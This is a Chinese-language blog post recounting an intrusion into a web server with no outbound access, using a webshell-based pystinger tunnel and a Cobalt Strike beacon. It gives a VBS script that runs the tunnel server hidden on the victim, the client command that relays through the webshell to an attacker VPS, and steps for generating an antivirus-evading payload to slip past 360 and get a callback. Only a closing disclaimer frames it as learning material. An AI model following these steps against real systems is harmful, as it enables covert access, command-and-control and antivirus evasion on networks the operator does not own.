记录一次内网不出网cs上线渗透操作过程

记录一次内网不出网cs上线渗透

0x00

因为遇到一个不出网的站并且拿到了shell，就想试试免杀上线cs。

0x01 pystinger使用

这次用的是FunnyWolf/pystinger: Bypass firewall for traffic forwarding using webshell 一款使用webshell进行流量转发的出网工具 (github.com) ，来实现的。

1.首先在站点上传他们的服务端的webshell，访问后会显示以下情况。

image-20211129104341833

2.然后需要在目标机器上运行stinger_server.exe

这里参考网上文章，先把stinger_server.exe上传到服务器，这里创建一个vbs文件，内容如下：

1
2
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c C:\xxx\xxx\stinger_server.exe 0.0.0.0",vbhide

上传vbs文件后运行即可

image-20211129110545112

直接运行vbs文件即可，然后用tasklist查看一下进程是否有stinger_server.exe

3.然后在vps上启动stinger_client，命令

1
./stinger_client -w http://example.com:8080/proxy.jsp(webshell路径) -l 127.0.0.1 -p 60000
image-20211129105046596

0x02 CS使用

上面操作进行完之后，需要在cs中创建一个监听器，host填的是目标机器的内网ip地址

image-20211129111155364

对了，这台机器使用tasklist看到有360的进程，所以就顺便试了免杀，用的是1y0n/AV_Evasion_Tool: 掩日 - 免杀执行器生成工具 (github.com)

image-20211129110152221

然后cs导出c的payload，拖入生成exe。

上传后直接运行，cs里显示上线是127.0.0.1

image-20211129164424229
web学习 学习
web学习

本博客所有文章除特别声明外，均采用 CC BY-SA 4.0 协议 ，转载请注明出处！，本博客仅用于交流学习，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章，需取得作者同意，且必须保证此文章的完整性，包括版权声明等全部内容。未经文章作者允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。若造成严重后果，本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。